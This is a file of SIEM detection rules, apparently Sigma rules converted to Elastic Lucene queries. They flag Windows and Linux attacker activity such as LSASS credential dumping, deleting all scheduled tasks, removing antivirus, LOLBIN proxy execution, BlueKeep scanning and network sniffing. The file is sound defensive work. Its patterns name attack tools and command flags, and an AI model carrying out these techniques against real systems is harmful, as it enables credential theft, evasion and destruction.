["xknow @xknow_infosec"], "license": ""}
{"description": "detects the usage of path traversal in conhost.exe indicating possible command/argument confusion/hijacking", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc7a9ade-6a08-44d1-ad0c-b5ca77bc4766", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Conhost.exe CommandLine Path Traversal", "query": "(process.parent.command_line:*conhost* AND process.command_line:*\\/..\\/..\\/*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3cd349a9-9da9-faa3-075c-3d1362323503", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Delete All Scheduled Tasks", "query": "(process.executable.text:*\\\\schtasks.exe AND process.command_line.text:*\\ \\/delete\\ * AND process.command_line.text:*\\/tn\\ \\* AND process.command_line.text:*\\ \\/f*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1489"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1489", "name": "Service Stop", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the usage of Suspicious Sysinternals Tools such as PsExec, Procdump...etc via the \"accepteula\" key being added to Registry", "enabled": false, "false_positives": ["Legitimate use of SysInternals tools"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fc050376-778d-baf4-f3b1-645844834e29", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Usage of Suspicious Sysinternals Tools", "query": "(winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:(*\\\\PsExec* OR *\\\\ProcDump* OR *\\\\Handle* OR *\\\\LiveKd* OR *\\\\Process\\ Explorer* OR *\\\\PsLoglist* OR *\\\\PsPasswd* OR *\\\\Active\\ Directory\\ Explorer* OR *\\\\Sysinternals*) AND winlog.event_data.TargetObject:*\\\\EulaAccepted)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Resource Development", "T1588"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1588", "name": "Obtain Capabilities", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the usage of Sysinternals Tools due to accepteula key being added to Registry", "enabled": false, "false_positives": ["Legitimate use of SysInternals tools", "Programs that use the same Registry Key"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1cb183fc-de76-8f15-20c6-887ce82dde12", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Usage of Sysinternals Tools", "query": "(winlog.event_data.EventType:\"CreateKey\" AND winlog.event_data.TargetObject:*\\\\EulaAccepted)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Resource Development", "T1588"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1588", "name": "Obtain Capabilities", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects the usage of Sysinternals Tools due to accepteula option being seen in the command line.", "enabled": false, "false_positives": ["Legitimate use of SysInternals tools", "Programs that use the same Registry Key"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "1cb183fc-de76-8f15-20c6-887ce82dde12", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Usage of Sysinternals Tools", "query": "process.command_line.text:(*\\ \\-accepteula* OR *\\ \\/accepteula*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Resource Development", "T1588"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0042", "reference": "", "name": "Resource Development"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1588", "name": "Obtain Capabilities", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects the usage of the \"sftp.exe\" binary as a LOLBIN by abusing the \"-D\" flag", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "4637f6a8-b57b-3584-a3f3-7f8b5b7b6376", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Use Of The SFTP.EXE Binary As A LOLBIN", "query": "(process.executable.text:*\\\\sftp.exe AND process.command_line.text:(*\\ \\-D\\ ..* OR *\\ \\-D\\ C\\:\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the usage of the direct syscall of NtOpenProcess which might be done from a CobaltStrike BOF.", "author": ["Christian Burkard", "Tim Shelton"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "00ad272d-c72e-1637-47b3-328ade39d648", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Direct Syscall of NtOpenProcess", "query": "(winlog.event_data.CallTrace:UNKNOWN* AND (NOT (((winlog.event_data.TargetImage:\"C:\\Program Files\\Cylance\\Desktop\\CylanceUI.exe\" AND process.executable.text:\"C:\\Windows\\Explorer.EXE\")) OR ((winlog.event_data.TargetImage:\"C:\\Program Files (x86)\\Microsoft\\EdgeUpdate\\MicrosoftEdgeUpdate.exe\" AND process.executable.text:C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\\\Temp\\\\* AND process.executable.text:*\\\\MicrosoftEdgeUpdate.exe)) OR ((winlog.event_data.TargetImage:*vcredist_x64.exe AND process.executable.text:*vcredist_x64.exe)) OR ((winlog.event_data.TargetImage:\"C:\\Windows\\system32\\systeminfo.exe\" AND process.executable.text:*setup64.exe)) OR ((winlog.event_data.TargetImage:*AmazonSSMAgentSetup.exe AND process.executable.text:*AmazonSSMAgentSetup.exe)) OR ((winlog.event_data.TargetImage:*C\\:\\\\Program\\ Files\\\\Mozilla\\ Firefox\\\\firefox.exe AND process.executable.text:*C\\:\\\\Program\\ Files\\\\Mozilla\\ Firefox\\\\firefox.exe)) OR ((winlog.event_data.TargetImage:*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe AND process.executable.text:*\\\\AppData\\\\Local\\\\Programs\\\\Microsoft\\ VS\\ Code\\\\Code.exe)) OR ((winlog.event_data.TargetImage:*C\\:\\\\Program\\ Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe AND process.executable.text:*C\\:\\\\Program\\ Files\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe)) OR ((winlog.event_data.TargetImage:*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Google\\\\Update\\\\GoogleUpdate.exe AND process.executable.text:*C\\:\\\\Program\\ Files\\ \$x86\$\\\\Google\\\\Update\\\\GoogleUpdate.exe)) OR ((winlog.event_data.TargetImage:*\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe AND process.executable.text:*\\\\AppData\\\\Local\\\\Microsoft\\\\Teams\\\\current\\\\Teams.exe)) OR ((winlog.event_data.TargetImage:\"C:\\Windows\\System32\\backgroundTaskHost.exe\" AND process.executable.text:\"C:\\Windows\\System32\\backgroundTaskHost.exe\")) OR ((winlog.event_data.TargetImage:\"C:\\Program Files (x86)\\CCleaner Browser\\Application\\CCleanerBrowser.exe\" AND process.executable.text:\"C:\\Program Files (x86)\\CCleaner Browser\\Application\\CCleanerBrowser.exe\")) OR ((winlog.event_data.TargetImage:C\\:\\\\Users\\\\* AND winlog.event_data.TargetImage:*\\\\AppData\\\\Local\\\\Discord\\\\* AND winlog.event_data.TargetImage:*\\\\Discord.exe)) OR ((winlog.event_data.TargetImage:\"C:\\WINDOWS\\system32\\AUDIODG.EXE\")) OR ((Provider_Name:\"Microsoft-Windows-Kernel-Audit-API-Calls\")) OR ((winlog.event_data.TargetImage:*\\\\Evernote\\\\Evernote.exe)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1106"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1106", "name": "Native API", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the usage of the 'SeLoadDriverPrivilege' privilege. This privilege is required to load or unload a device driver.\nWith this privilege, the user can dynamically load and unload device drivers or other code in to kernel mode.\nThis user right does not apply to Plug and Play device drivers.\nIf you exclude privileged users/admins and processes, which are allowed to do so, you are maybe left with bad programs trying to load malicious kernel drivers.\nThis will detect Ghost-In-The-Logs () and the usage of Sysinternals and various other tools. So you have to work with a whitelist to find the bad stuff.\n", "author": ["xknow (@xknow_infosec)", "xorxes (@xor_xes)"], "enabled": false, "false_positives": ["Other legimate tools loading drivers. Including but not limited to, Sysinternals, CPU-Z, AVs etc. A baseline needs to be created according to the used products and allowed tools. A good thing to do is to try and exclude users who are allowed to load drivers."], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bce64825-3bc1-fa20-92cf-cdef48704e43", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Privileged System Service Operation - SeLoadDriverPrivilege", "query": "(winlog.channel:\"Security\" AND (Provider_Name:\"Microsoft-Windows-Security-Auditing\" AND winlog.event_id:\"4673\" AND winlog.event_data.PrivilegeList:\"SeLoadDriverPrivilege\" AND Service:\"-\") AND (NOT ((winlog.event_data.ProcessName:(\"C:\\Windows\\System32\\Dism.exe\" OR \"C:\\Windows\\System32\\rundll32.exe\" OR \"C:\\Windows\\System32\\fltMC.exe\" OR \"C:\\Windows\\HelpPane.exe\" OR \"C:\\Windows\\System32\\mmc.exe\" OR \"C:\\Windows\\System32\\svchost.exe\" OR \"C:\\Windows\\System32\\wimserv.exe\" OR \"C:\\Windows\\System32\\RuntimeBroker.exe\" OR \"C:\\Windows\\System32\\SystemSettingsBroker.exe\")) OR (winlog.event_data.ProcessName:(*\\\\procexp64.exe OR *\\\\procexp.exe OR *\\\\procmon64.exe OR *\\\\procmon.exe OR *\\\\Google\\\\Chrome\\\\Application\\\\chrome.exe)))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the usage of the unsafe bpftrace option", "enabled": false, "false_positives": ["Legitimate usage of the unsafe option"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "079abd3c-7cf8-fba3-5361-cfee68568d0c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "BPFtrace Unsafe Option Usage", "query": "(process.executable:*bpftrace AND process.command_line:*\\-\\-unsafe*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "6851292c-d117-91b3-e59d-416622399dc5", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Network Sniffing", "query": "process.executable:(*\\/tcpdump OR *\\/tshark)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Credential Access", "T1040"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1040", "name": "Network Sniffing", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Alejandro Ortuno", "oscd.community"], "license": ""}
{"description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b929658d-2fb9-9155-7e83-b024f922ee8f", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Hijack Legit RDP Session to Move Laterally", "query": "(process.executable:*\\\\mstsc.exe AND file.path:*\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\Startup\\\\*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Samir Bousseaden"], "license": ""}
{"description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "175b3245-f313-4e5a-3799-f465012eafbe", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Disable Or Stop Services", "query": "(process.executable.text:(*\\/service OR *\\/systemctl OR *\\/chkconfig) AND process.command_line.text:(*stop* OR *disable*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the use of 3proxy, a tiny free proxy server", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Administrative activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "48f96f6f-a48c-1b3b-5f29-257893aed222", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "3Proxy Usage", "query": "((process.executable.text:*\\\\3proxy.exe) OR (winlog.event_data.Description:\"3proxy - tiny proxy server\") OR (process.command_line.text:*.exe\\ \\-i127.0.0.1\\ \\-p*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1572"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects the use of a Micorsoft signed script to execute commands", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9e2a987f-72b2-cf54-07e7-ddd6ae063d47", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "CL_Mutexverifiers.ps1 Proxy Execution", "query": "(process.command_line:*\\\\CL_Mutexverifiers.ps1* AND process.command_line:*runAfterCancelProcess\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1216"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1216", "name": "System Script Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["oscd.community", "Natalia Shornikova", "frack113"], "license": ""}
{"description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", "enabled": false, "false_positives": ["Legitimate usage of the script. Always investigate what's being registred to confirm if it's benign"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d7ee81f4-439b-86bb-e00f-e1274e73113c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "REGISTER_APP.VBS Proxy Execution", "query": "(process.command_line.text:*\\\\register_app.vbs* AND process.command_line.text:*\\-register*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "System Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)", "enabled": false, "false_positives": ["System administrator usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "47d1c7cd-af90-084d-19a4-b593a37fdbb0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Renamed Sysinternals Sdelete Usage", "query": "(winlog.event_data.OriginalFileName:\"sdelete.exe\" AND (NOT (process.executable.text:(*\\\\sdelete.exe OR *\\\\sdelete64.exe))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1485"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1485", "name": "Data Destruction", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "df4cb398-26bf-0cd4-c940-ea3034399037", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4625\" AND winlog.event_data.TargetUserName:\"AAAAAAA\")", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Lateral Movement", "T1210"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1210", "name": "Exploitation of Remote Services", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth (rule)", "Adam Bradbury (idea)"], "license": ""}
{"description": "Detects the use of a Visual Studio bundled tool named DumpMinitool.exe", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "eb5d5cde-52b2-6a43-fc39-6d4a9dcb721c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "DumpMinitool Usage", "query": "(process.executable:*\\\\DumpMinitool.exe OR OriginalName:\"DumpMinitool.exe\" OR (process.command_line:*\\ \\-\\-processId\\ * AND process.command_line:*\\ \\-\\-dumpType\\ Full*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1003", "T1036"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1036", "name": "Masquerading", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", "enabled": false, "false_positives": ["Legitimate administrative use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ff685de9-6fe2-b5c7-ef34-af739bd1c06a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Advanced IP Scanner", "query": "file.path.text:*\\\\AppData\\\\Local\\\\Temp\\\\Advanced\\ IP\\ Scanner\\ 2*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1046"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["@ROxPinTeddy"], "license": ""}
{"description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", "enabled": false, "false_positives": ["Legitimate administrative use"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ff685de9-6fe2-b5c7-ef34-af739bd1c06a", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Advanced IP Scanner", "query": "(process.executable:*\\\\advanced_ip_scanner* OR (process.command_line:*\\/portable* AND process.command_line:*\\/lng*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1046", "T1135"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Scanning", "reference": ""}, {"id": "T1135", "name": "Network Share Discovery", "reference": ""}]}], "version": 1, "references": ["", "", "", "", "", ""], "timestamp_override": "event.ingested", "author": ["@ROxPinTeddy", "Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Detects the use of Advanced Port Scanner.", "enabled": false, "false_positives": ["Legitimate administrative use", "Tools with similar commandline (very rare)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b3f867b8-aac8-e1c2-dbc8-48c8b4d83778", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Advanced Port Scanner", "query": "(process.executable:*\\\\advanced_port_scanner* OR (process.command_line:*\\/portable* AND process.command_line:*\\/lng*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1046", "T1135"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Scanning", "reference": ""}, {"id": "T1135", "name": "Network Share Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "d03a305d-88cf-cf6f-02c3-9a01512f23bc", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Scheduled Task/Job At", "query": "process.executable:(*\\/at OR *\\/atd)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["\u00d6mer G\u00fcnal", "oscd.community"], "license": ""}
{"description": "Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.", "enabled": false, "false_positives": ["Legitimate administrative use (Should be investigated either way)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c0a5175c-b612-fd09-6793-6a775e40dbc6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CleanWipe Usage", "query": "(process.executable.text:*\\\\SepRemovalToolNative_x64.exe OR (process.executable.text:*\\\\CATClean.exe AND process.command_line.text:*\\-\\-uninstall*) OR (process.executable.text:*\\\\NetInstaller.exe AND process.command_line.text:*\\-r*) OR (process.executable.text:*\\\\WFPUnins.exe AND process.command_line.text:*\\/uninstall* AND process.command_line.text:*\\/enterprise*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali @nas_bench"], "license": ""}
{"description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "08207c27-e98e-25ef-7544-5f98156994c2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CreateMiniDump Hacktool", "query": "file.path:*\\\\lsass.dmp", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "08207c27-e98e-25ef-7544-5f98156994c2", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "CreateMiniDump Hacktool", "query": "(process.executable:*\\\\CreateMiniDump.exe* OR winlog.event_data.Imphash:\"4a07f944a83e8a7c2525efa35dd30e2f\" OR winlog.event_data.Hashes:*IMPHASH\\=4a07f944a83e8a7c2525efa35dd30e2f*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ef08b6dc-6017-f41f-9bc7-39f8f6a6784e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DefenderCheck Usage", "query": "(process.executable.text:*\\\\DefenderCheck.exe OR winlog.event_data.Description:\"DefenderCheck\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects the use of Ditsnap tool. Seems to be a tool for ransomware groups.", "enabled": false, "false_positives": ["Legitimate admin usage"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "0ed48492-0277-c2d2-1b36-e39184e63cc4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DIT Snapshot Viewer Use", "query": "(process.executable:*\\\\ditsnap.exe OR process.command_line:*ditsnap.exe*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Furkan Caliskan (@caliskanfurkan_)"], "license": ""}
